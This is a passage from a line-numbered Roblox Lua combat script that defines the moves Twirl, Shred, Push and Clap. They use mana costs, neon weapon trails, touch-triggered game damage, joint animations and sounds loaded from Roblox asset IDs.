  3774. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3775. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3776. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3777. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3778. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3779. end
  3780. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3781. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3782. for i=0,1,0.05 do
  3783. swait()
  3784. Torso.Velocity=RootPart.CFrame.lookVector*100
  3785. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3786. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3787. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3788. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3789. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3790. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3791. end
  3792. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2)
  3793. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1)
  3794. for i=0,1,0.05 do
  3795. swait()
  3796. Torso.Velocity=RootPart.CFrame.lookVector*100
  3797. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3)
  3798. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3799. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3800. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3801. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3802. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3803. end
  3804. --dmgstop()
  3805. Humanoid.WalkSpeed=12
  3806. attack=false
  3807. con1:disconnect()
  3808. con2:disconnect()
  3809. if anim then
  3810. anim.Disabled=false
  3811. end
  3812. if TrailDeb == true then
  3813. TrailDeb = false
  3814. end
  3815. end
  3816.  
  3817. function Twirl()
  3818. mana=mana-50
  3819. attack=true
  3820. if TrailDeb == false then
  3821. TrailDeb = true
  3822. end
  3823.  
  3824.  
  3825. coroutine.wrap(function()
  3826. local Old = Handle2.CFrame.p
  3827. while wait()do
  3828. if not TrailDeb then break end
  3829. local New = Handle2.CFrame.p
  3830. local Mag =(Old -New).magnitude
  3831. local Dis =(Old +New)/2
  3832. local Trail = Instance.new("Part",Character)
  3833. Trail.Material = "Neon"
  3834. Trail.Anchored = true
  3835. Trail.CanCollide = false
  3836. Trail.BrickColor = TorsoColor
  3837. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3838. Trail.TopSurface = 0
  3839. Trail.BottomSurface = 0
  3840. Trail.formFactor = "Custom"
  3841. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3842. local ms = Instance.new("BlockMesh",Trail)
  3843. ms.Scale = Vector3.new(1,1,1)
  3844. local TM = Instance.new("CylinderMesh",Trail)
  3845. TM.Scale = Vector3.new(1,1,1)
  3846. Old = New
  3847. coroutine.wrap(function()
  3848. for i = 1,0,-0.1 do
  3849. wait()
  3850. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3851. end
  3852. Trail:remove()
  3853. end)()
  3854. coroutine.wrap(function()
  3855. for i = 1,10 do
  3856. wait()
  3857. Trail.Transparency = Trail.Transparency +0.1
  3858. end end)()end end)()
  3859. coroutine.wrap(function()
  3860. local Old = Handle.CFrame.p
  3861. while wait()do
  3862. if not TrailDeb then break end
  3863. local New = Handle.CFrame.p
  3864. local Mag =(Old -New).magnitude
  3865. local Dis =(Old +New)/2
  3866. local Trail = Instance.new("Part",Character)
  3867. Trail.Material = "Neon"
  3868. Trail.Anchored = true
  3869. Trail.CanCollide = false
  3870. Trail.BrickColor = TorsoColor
  3871. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3872. Trail.TopSurface = 0
  3873. Trail.BottomSurface = 0
  3874. Trail.formFactor = "Custom"
  3875. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3876. local ms = Instance.new("BlockMesh",Trail)
  3877. ms.Scale = Vector3.new(1,1,1)
  3878. local TM = Instance.new("CylinderMesh",Trail)
  3879. TM.Scale = Vector3.new(1,1,1)
  3880. Old = New
  3881. coroutine.wrap(function()
  3882. for i = 1,0,-0.1 do
  3883. wait()
  3884. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3885. end
  3886. Trail:remove()
  3887. end)()
  3888. coroutine.wrap(function()
  3889. for i = 1,10 do
  3890. wait()
  3891. Trail.Transparency = Trail.Transparency +0.1
  3892. end end)()end end)()
  3893. Footsteps:Stop()
  3894. Footsteps2:Stop()
  3895. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3896. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  3897. so("http://www.roblox.com/asset/?id=159882598",Torso,1,1)
  3898. for i=0,1,0.1 do
  3899. swait()
  3900. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3901. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3902. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3903. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3904. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3905. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3906. end
  3907. if anim then
  3908. anim.Disabled=true
  3909. end
  3910. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3911. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3912. for i=0,1,0.05 do
  3913. swait()
  3914. Torso.Velocity=RootPart.CFrame.lookVector*80
  3915. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3916. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3917. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3918. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3919. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3920. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3921. end
  3922. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3923. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3924. for i=0,1,0.05 do
  3925. swait()
  3926. Torso.Velocity=RootPart.CFrame.lookVector*80
  3927. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3928. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3929. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3930. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3931. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3932. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3933. end
  3934. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3935. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3936. for i=0,1,0.05 do
  3937. swait()
  3938. Torso.Velocity=RootPart.CFrame.lookVector*80
  3939. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3940. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3941. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3942. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3943. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3944. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3945. end
  3946. so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1)
  3947. so("http://www.roblox.com/asset/?id=231917758",RightArm,1,0.8)
  3948. for i=0,1,0.05 do
  3949. swait()
  3950. Torso.Velocity=RootPart.CFrame.lookVector*80
  3951. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(90),math.rad(0),math.rad(0+360*i)),.3)
  3952. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3953. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3954. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3955. RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3956. LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3957. end
  3958. --dmgstop()
  3959. Humanoid.WalkSpeed=12
  3960. attack=false
  3961. con1:disconnect()
  3962. con2:disconnect()
  3963. if anim then
  3964. anim.Disabled=false
  3965. end
  3966. if TrailDeb == true then
  3967. TrailDeb = false
  3968. end
  3969. end
  3970.  
  3971. function Shred()
  3972. attack=true
  3973. mana=mana-100
  3974. if TrailDeb == false then
  3975. TrailDeb = true
  3976. end
  3977.  
  3978.  
  3979. coroutine.wrap(function()
  3980. local Old = Handle2.CFrame.p
  3981. while wait()do
  3982. if not TrailDeb then break end
  3983. local New = Handle2.CFrame.p
  3984. local Mag =(Old -New).magnitude
  3985. local Dis =(Old +New)/2
  3986. local Trail = Instance.new("Part",Character)
  3987. Trail.Material = "Neon"
  3988. Trail.Anchored = true
  3989. Trail.CanCollide = false
  3990. Trail.BrickColor = TorsoColor
  3991. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3992. Trail.TopSurface = 0
  3993. Trail.BottomSurface = 0
  3994. Trail.formFactor = "Custom"
  3995. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3996. local ms = Instance.new("BlockMesh",Trail)
  3997. ms.Scale = Vector3.new(1,1,1)
  3998. local TM = Instance.new("CylinderMesh",Trail)
  3999. TM.Scale = Vector3.new(1,1,1)
  4000. Old = New
  4001. coroutine.wrap(function()
  4002. for i = 1,0,-0.1 do
  4003. wait()
  4004. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4005. end
  4006. Trail:remove()
  4007. end)()
  4008. coroutine.wrap(function()
  4009. for i = 1,10 do
  4010. wait()
  4011. Trail.Transparency = Trail.Transparency +0.1
  4012. end end)()end end)()
  4013. coroutine.wrap(function()
  4014. local Old = Handle.CFrame.p
  4015. while wait()do
  4016. if not TrailDeb then break end
  4017. local New = Handle.CFrame.p
  4018. local Mag =(Old -New).magnitude
  4019. local Dis =(Old +New)/2
  4020. local Trail = Instance.new("Part",Character)
  4021. Trail.Material = "Neon"
  4022. Trail.Anchored = true
  4023. Trail.CanCollide = false
  4024. Trail.BrickColor = TorsoColor
  4025. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4026. Trail.TopSurface = 0
  4027. Trail.BottomSurface = 0
  4028. Trail.formFactor = "Custom"
  4029. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4030. local ms = Instance.new("BlockMesh",Trail)
  4031. ms.Scale = Vector3.new(1,1,1)
  4032. local TM = Instance.new("CylinderMesh",Trail)
  4033. TM.Scale = Vector3.new(1,1,1)
  4034. Old = New
  4035. coroutine.wrap(function()
  4036. for i = 1,0,-0.1 do
  4037. wait()
  4038. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4039. end
  4040. Trail:remove()
  4041. end)()
  4042. coroutine.wrap(function()
  4043. for i = 1,10 do
  4044. wait()
  4045. Trail.Transparency = Trail.Transparency +0.1
  4046. end end)()end end)()
  4047. Footsteps:Stop()
  4048. Footsteps2:Stop()
  4049. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4050. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  4051. so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  4052. for i=0,1,0.1 do
  4053. swait()
  4054. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4055. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4056. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4057. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4058. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4059. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4060. end
  4061. if anim then
  4062. anim.Disabled=true
  4063. end
  4064. for i=0,1,0.05 do
  4065. swait()
  4066. Torso.Velocity=RootPart.CFrame.lookVector*20
  4067. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4068. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4069. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  4070. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4071. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4072. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4073. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4074. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4075. end
  4076. for i=0,1,0.05 do
  4077. swait()
  4078. Torso.Velocity=RootPart.CFrame.lookVector*40
  4079. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4080. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4081. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  4082. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4083. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4084. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4085. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4086. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4087. end
  4088. for i=0,1,0.05 do
  4089. swait()
  4090. Torso.Velocity=RootPart.CFrame.lookVector*60
  4091. so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  4092. so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  4093. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  4094. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4095. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4096. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4097. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4098. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4099. end
  4100. so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  4101. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4102. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4103. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4104. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  4105. for i=0,1,0.05 do
  4106. swait()
  4107. Torso.Velocity=RootPart.CFrame.lookVector*80
  4108. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  4109. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4110. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4111. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4112. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4113. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4114. end
  4115. for i=0,1,0.005 do
  4116. swait()
  4117. Torso.Velocity=RootPart.CFrame.lookVector*100
  4118. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  4119. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4120. Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4121. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  4122. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  4123. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  4124. end
  4125. --dmgstop()
  4126. Humanoid.WalkSpeed=12
  4127. attack=false
  4128. con1:disconnect()
  4129. con2:disconnect()
  4130. if anim then
  4131. anim.Disabled=false
  4132. end
  4133. if TrailDeb == true then
  4134. TrailDeb = false
  4135. end
  4136. end
  4137.  
  4138. function Push()
  4139. attack=true
  4140. mana=mana-20
  4141. if TrailDeb == false then
  4142. TrailDeb = true
  4143. end
  4144.  
  4145.  
  4146. coroutine.wrap(function()
  4147. local Old = Handle2.CFrame.p
  4148. while wait()do
  4149. if not TrailDeb then break end
  4150. local New = Handle2.CFrame.p
  4151. local Mag =(Old -New).magnitude
  4152. local Dis =(Old +New)/2
  4153. local Trail = Instance.new("Part",Character)
  4154. Trail.Material = "Neon"
  4155. Trail.Anchored = true
  4156. Trail.CanCollide = false
  4157. Trail.BrickColor = TorsoColor
  4158. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4159. Trail.TopSurface = 0
  4160. Trail.BottomSurface = 0
  4161. Trail.formFactor = "Custom"
  4162. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4163. local ms = Instance.new("BlockMesh",Trail)
  4164. ms.Scale = Vector3.new(1,1,1)
  4165. local TM = Instance.new("CylinderMesh",Trail)
  4166. TM.Scale = Vector3.new(1,1,1)
  4167. Old = New
  4168. coroutine.wrap(function()
  4169. for i = 1,0,-0.1 do
  4170. wait()
  4171. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4172. end
  4173. Trail:remove()
  4174. end)()
  4175. coroutine.wrap(function()
  4176. for i = 1,10 do
  4177. wait()
  4178. Trail.Transparency = Trail.Transparency +0.1
  4179. end end)()end end)()
  4180. coroutine.wrap(function()
  4181. local Old = Handle.CFrame.p
  4182. while wait()do
  4183. if not TrailDeb then break end
  4184. local New = Handle.CFrame.p
  4185. local Mag =(Old -New).magnitude
  4186. local Dis =(Old +New)/2
  4187. local Trail = Instance.new("Part",Character)
  4188. Trail.Material = "Neon"
  4189. Trail.Anchored = true
  4190. Trail.CanCollide = false
  4191. Trail.BrickColor = TorsoColor
  4192. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4193. Trail.TopSurface = 0
  4194. Trail.BottomSurface = 0
  4195. Trail.formFactor = "Custom"
  4196. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4197. local ms = Instance.new("BlockMesh",Trail)
  4198. ms.Scale = Vector3.new(1,1,1)
  4199. local TM = Instance.new("CylinderMesh",Trail)
  4200. TM.Scale = Vector3.new(1,1,1)
  4201. Old = New
  4202. coroutine.wrap(function()
  4203. for i = 1,0,-0.1 do
  4204. wait()
  4205. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4206. end
  4207. Trail:remove()
  4208. end)()
  4209. coroutine.wrap(function()
  4210. for i = 1,10 do
  4211. wait()
  4212. Trail.Transparency = Trail.Transparency +0.1
  4213. end end)()end end)()
  4214. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4215. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  4216. for i=0,1,0.1 do
  4217. swait()
  4218. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4219. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4220. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4221. Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4222. Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4223. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4224. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4225. end
  4226. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  4227. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  4228. so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  4229. for i=0,1,0.1 do
  4230. swait()
  4231. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4232. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4233. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4234. Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
  4235. Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
  4236. RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  4237. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  4238. end
  4239. --dmgstop()
  4240. attack=false
  4241. con1:disconnect()
  4242. con2:disconnect()
  4243. if TrailDeb == true then
  4244. TrailDeb = false
  4245. end
  4246. end
  4247.  
  4248. function Clap()
  4249. attack=true
  4250. mana=mana-20
  4251. if TrailDeb == false then
  4252. TrailDeb = true
  4253. end
  4254.  
  4255.  
  4256. coroutine.wrap(function()
  4257. local Old = Handle2.CFrame.p
  4258. while wait()do
  4259. if not TrailDeb then break end
  4260. local New = Handle2.CFrame.p
  4261. local Mag =(Old -New).magnitude
  4262. local Dis =(Old +New)/2
  4263. local Trail = Instance.new("Part",Character)
  4264. Trail.Material = "Neon"
  4265. Trail.Anchored = true
  4266. Trail.CanCollide = false
  4267. Trail.BrickColor = TorsoColor
  4268. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4269. Trail.TopSurface = 0
  4270. Trail.BottomSurface = 0
  4271. Trail.formFactor = "Custom"
  4272. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4273. local ms = Instance.new("BlockMesh",Trail)
  4274. ms.Scale = Vector3.new(1,1,1)
  4275. local TM = Instance.new("CylinderMesh",Trail)
  4276. TM.Scale = Vector3.new(1,1,1)
  4277. Old = New
  4278. coroutine.wrap(function()
  4279. for i = 1,0,-0.1 do
  4280. wait()
  4281. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4282. end
  4283. Trail:remove()
  4284. end)()
  4285. coroutine.wrap(function()
  4286. for i = 1,10 do
  4287. wait()
  4288. Trail.Transparency = Trail.Transparency +0.1
  4289. end end)()end end)()
  4290. coroutine.wrap(function()
  4291. local Old = Handle.CFrame.p
  4292. while wait()do
  4293. if not TrailDeb then break end
  4294. local New = Handle.CFrame.p
  4295. local Mag =(Old -New).magnitude
  4296. local Dis =(Old +New)/2
  4297. local Trail = Instance.new("Part",Character)
  4298. Trail.Material = "Neon"
  4299. Trail.Anchored = true
  4300. Trail.CanCollide = false
  4301. Trail.BrickColor = TorsoColor
  4302. Trail.Size = Vector3.new(0.2,Mag,0.2)
  4303. Trail.TopSurface = 0
  4304. Trail.BottomSurface = 0
  4305. Trail.formFactor = "Custom"
  4306. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  4307. local ms = Instance.new("BlockMesh",Trail)
  4308. ms.Scale = Vector3.new(1,1,1)
  4309. local TM = Instance.new("CylinderMesh",Trail)
  4310. TM.Scale = Vector3.new(1,1,1)
  4311. Old = New
  4312. coroutine.wrap(function()
  4313. for i = 1,0,-0.1 do
  4314. wait()
  4315. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  4316. end
  4317. Trail:remove()
  4318. end)()
  4319. coroutine.wrap(function()
  4320. for i = 1,10 do
  4321. wait()
  4322. Trail.Transparency = Trail.Transparency +0.1
  4323. end end)()end end)()
  4324. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4325. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  4326. so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  4327. for i=0,1,0.08 do
  4328. swait()
  4329. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  4330. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  4331. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
